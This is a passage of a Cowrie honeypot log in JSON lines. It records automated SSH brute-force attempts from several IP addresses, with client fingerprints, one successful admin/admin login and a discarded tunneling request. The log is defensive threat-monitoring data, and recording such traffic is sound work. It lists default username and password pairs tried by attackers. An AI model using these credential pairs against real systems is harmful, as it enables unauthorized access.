{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:35.941157Z","src_ip":"192.109.200.237","session":"da5a5eee3bd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:37.115611Z","src_ip":"192.109.200.237","session":"da5a5eee3bd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":52434,"dst_ip":"159.203.135.109","dst_port":22,"session":"e11056a7d61f","protocol":"ssh","message":"New connection: 193.228.128.84:52434 (159.203.135.109:22) [session: e11056a7d61f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:37.628105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:37.632506Z","src_ip":"193.228.128.84","session":"e11056a7d61f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:37.734234Z","src_ip":"193.228.128.84","session":"e11056a7d61f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bredddd1","message":"login attempt [root/bredddd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:38.041625Z","src_ip":"193.228.128.84","session":"e11056a7d61f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54110,"dst_ip":"10.17.0.5","dst_port":22,"session":"44a648b005cd","protocol":"ssh","message":"New connection: 87.251.64.176:54110 (10.17.0.5:22) [session: 44a648b005cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:38.331175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:38.335381Z","src_ip":"87.251.64.176","session":"44a648b005cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:38.434574Z","src_ip":"87.251.64.176","session":"44a648b005cd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:38.723166Z","src_ip":"87.251.64.176","session":"44a648b005cd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:38.821641Z","session":"44a648b005cd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:38.919049Z","src_ip":"87.251.64.176","session":"44a648b005cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:39.016764Z","src_ip":"87.251.64.176","session":"44a648b005cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44410,"dst_ip":"159.203.135.109","dst_port":22,"session":"58bdc48941fd","protocol":"ssh","message":"New connection: 192.109.200.237:44410 (159.203.135.109:22) [session: 58bdc48941fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:39.021672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:39.025924Z","src_ip":"192.109.200.237","session":"58bdc48941fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:39.107779Z","src_ip":"192.109.200.237","session":"58bdc48941fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:39.146449Z","src_ip":"193.228.128.84","session":"e11056a7d61f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:39.455472Z","src_ip":"192.109.200.237","session":"58bdc48941fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:40.539164Z","src_ip":"192.109.200.237","session":"58bdc48941fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51768,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a8d1b251301","protocol":"ssh","message":"New connection: 192.109.200.237:51768 (159.203.135.109:22) [session: 0a8d1b251301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:42.627288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:42.632847Z","src_ip":"192.109.200.237","session":"0a8d1b251301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:42.715071Z","src_ip":"192.109.200.237","session":"0a8d1b251301","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:42.961583Z","src_ip":"192.109.200.237","session":"0a8d1b251301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33266,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa53abb34274","protocol":"telnet","message":"New connection: 50.6.8.71:33266 (10.17.0.5:23) [session: fa53abb34274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:43.173311Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:44.045785Z","src_ip":"192.109.200.237","session":"0a8d1b251301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51786,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e5487ba5fae","protocol":"ssh","message":"New connection: 192.109.200.237:51786 (159.203.135.109:22) [session: 0e5487ba5fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:46.020547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:46.025353Z","src_ip":"192.109.200.237","session":"0e5487ba5fae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:46.108057Z","src_ip":"192.109.200.237","session":"0e5487ba5fae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:46.356193Z","src_ip":"192.109.200.237","session":"0e5487ba5fae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:47.441469Z","src_ip":"192.109.200.237","session":"0e5487ba5fae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51812,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcb5f8eca173","protocol":"ssh","message":"New connection: 192.109.200.237:51812 (159.203.135.109:22) [session: bcb5f8eca173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:49.490113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:49.494319Z","src_ip":"192.109.200.237","session":"bcb5f8eca173","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:49.576377Z","src_ip":"192.109.200.237","session":"bcb5f8eca173","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:49.979442Z","src_ip":"192.109.200.237","session":"bcb5f8eca173","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:51.064084Z","src_ip":"192.109.200.237","session":"bcb5f8eca173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48862,"dst_ip":"10.17.0.5","dst_port":23,"session":"293a1ff94ff7","protocol":"telnet","message":"New connection: 50.6.8.71:48862 (10.17.0.5:23) [session: 293a1ff94ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:52.805212Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58150,"dst_ip":"159.203.135.109","dst_port":22,"session":"5624ea2e0c25","protocol":"ssh","message":"New connection: 192.109.200.237:58150 (159.203.135.109:22) [session: 5624ea2e0c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:53.087692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:53.093294Z","src_ip":"192.109.200.237","session":"5624ea2e0c25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:53.178696Z","src_ip":"192.109.200.237","session":"5624ea2e0c25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:53.426380Z","src_ip":"192.109.200.237","session":"5624ea2e0c25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:54.512508Z","src_ip":"192.109.200.237","session":"5624ea2e0c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58166,"dst_ip":"159.203.135.109","dst_port":22,"session":"746e4d59659f","protocol":"ssh","message":"New connection: 192.109.200.237:58166 (159.203.135.109:22) [session: 746e4d59659f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:56.546956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:56.551295Z","src_ip":"192.109.200.237","session":"746e4d59659f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2